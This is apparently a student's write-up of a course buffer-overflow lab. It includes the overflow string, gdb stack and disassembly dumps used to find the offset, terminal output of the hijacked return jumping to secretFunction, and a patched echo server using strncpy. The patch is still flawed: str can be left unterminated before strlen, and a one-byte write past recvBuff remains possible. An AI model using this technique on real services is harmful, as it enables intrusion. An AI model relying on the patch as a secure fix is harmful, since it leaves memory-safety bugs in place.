ECE 404 Homework 10

Ranjan Behl (rbehl)

April 15, 2021

1. Coding HW

HW 10 - Buffer Overflow Attack

2. string

The string I used to overflow the buffer is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA180e4000

It is 40As followed by the four least significant bytes(in reversed order) of the memory location of the secretFunction(look at rbp in the following picture)

```
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x0000000000400e18 <+0>:     push   %rbp
   0x0000000000400e19 <+1>:     mov    %rsp,%rbp
   0x0000000000400e1c <+4>:     mov    $0x400fa8,%edi
   0x0000000000400e21 <+9>:     callq  0x4008f0 <puts@plt>
   0x0000000000400e26 <+14>:    mov    $0x1,%edi
   0x0000000000400e2b <+19>:    callq  0x400a00 <exit@plt>
End of assembler dump.
```

Figure 1: asm dump of secretFunction

The 40 As come from looking at the distance between the memory location of str(dce0) in clientComm and the framepointer(rbp which is dd00)

```
121         strcpy(str, recvBuff);
(gdb) p &str
$1 = (char (*)[5]) 0x7fffffffdce0
(gdb) n
124         if (send(clntSockfd, str, strlen(str), 0) == -1) {
(gdb) n
131         return recvBuff;
(gdb) n
```

Figure 2: address of str

```
(gdb) x /100x $rsp
0x7fffffffdcc0: 0x60    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdcc8: 0x28    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdcd0: 0x50    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdcd8: 0x30    0x0a    0x40    0x00    0x08    0x00    0x00    0x00
0x7fffffffdce0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdce8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdcf0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdcf8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd00: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd08: 0x18    0xe0    0x04    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd10: 0x48    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd18: 0xff    0xb5    0xf0    0x00    0x02    0x00    0x00    0x00
0x7fffffffdd20: 0x01    0x00    0x00    0x00
(gdb) p $rbp
$1 = (void *) 0x7fffffffdd00
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x0000000000400e18 <+0>:     push   %rbp
   0x0000000000400e19 <+1>:     mov    %rsp,%rbp
   0x0000000000400e1c <+4>:     mov    $0x400fa8,%edi
   0x0000000000400e21 <+9>:     callq  0x4008f0 <puts@plt>
   0x0000000000400e26 <+14>:    mov    $0x1,%edi
   0x0000000000400e2b <+19>:    callq  0x400a00 <exit@plt>
End of assembler dump.
```

Figure 3: stack segment

Now since str is replaced by the received bytes(44 bytes in this case) and str can only hold 5 an overflow occurs. So when the return recvBuff occurs it jumps to the secretFunction.

The following images showcase the special string causing the buffer overflow

```
-bash-4.2$ client 127.0.0.1
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x0e\x40\x00
You Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
Say something:
```

Figure 4: Special String

```
\-bash-4.2$ cd ece404/HW10
-bash-4.2$ ls
client  client.c  hw10_21.pdf  new_server  new_server.c  server  server.c
-bash-4.2$ server 7000
Connected from 127.0.0.1
RECEIVED: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@RECEIVED BYTES: 43

You weren't supposed to get here!
-bash-4.2$
```

Figure 5: Buffer Overflow!

3. new server

```
//Homework Number: 10
//Name: Ranjan Behl
//ECE Login: rbehl
//Date: 04/15/21
/*
/ file : server.c
/----------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//        Linux:               gcc server.c -o server
//        Solaris:             gcc server.c -o server -lsocket

// For running the server program:
//
//                server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by others.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10     /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5

int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr);

int main(int argc, char *argv[])
{
    if (argc < 2) {
    fprintf(stderr,"ERROR, no port provided\n");
    exit(1);
    }
    int PORT = atoi(argv[1]);
```

```
int senderBuffSize;
int servSockfd, clntSockfd;
struct sockaddr_in sevrAddr;
struct sockaddr_in clntAddr;
int clntLen;
socklen_t optlen = sizeof senderBuffSize;

/* make socket */
if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("sock failed");
    exit(1);
}

/* set IP address and port */
sevrAddr.sin_family = AF_INET;
sevrAddr.sin_port = htons(PORT);
sevrAddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(sevrAddr.sin_zero), 8);

if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
            sizeof(struct sockaddr)) == -1) {
    perror("bind failed");
    exit(1);
}

if (listen(servSockfd, MAX_PENDING) == -1) {
    perror("listen failed");
    exit(1);
}

while(1) {
    clntLen = sizeof(struct sockaddr_in);
    if ((clntSockfd = accept(servSockfd, (struct sockaddr *) &clntAddr, &clntLen)) == -1) {
        perror("accept failed");
        exit(1);
    }

    printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));

    if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n"), 0) == -1) {
        perror("send failed");
        close(clntSockfd);
        exit(1);
    }

    /* repeat for one client service */
    while(1) {
        free(clientComm(clntSockfd, &senderBuffSize, &optlen));
    }
```

```
        close(clntSockfd);
        exit(1);
    }
}

char * clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr){
    char *recvBuff; /* recv data buffer */
    int numBytes = 0;
    char str[MAX_DATA_SIZE];
    /* recv data from the client */
    getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr, optlen_addr); /* check sender buff
    recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

    if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0)) == -1) {
        perror("recv failed");
        exit(1);
    }
    //fixing the buffer overflow by checking index out of bound
    /*if(strlen(recvBuff) > MAX_DATA_SIZE){
printf("Buffer overflow!");
exit(1);
}*/
    recvBuff[numBytes] = '\0';
    if(DataPrint(recvBuff, numBytes)){
        fprintf(stderr,"ERROR, no way to print out\n");
        exit(1);
    }

    strncpy(str, recvBuff,MAX_DATA_SIZE);

    /* send data to the client */
    if (send(clntSockfd, str, strlen(str), 0) == -1) {
        perror("send failed");
        close(clntSockfd);
        exit(1);
    }


    return recvBuff;
}

void secretFunction(){
    printf("You weren't supposed to get here!\n");
    exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
    printf("RECEIVED: %s", recvBuff);
    printf("RECEIVED BYTES: %d\n\n", numBytes);
    return(0);
```

```
}
```

To fix the buffer overflow there are mutiple approaches, the one I took was modifying strcpy to strncpy in clientComm.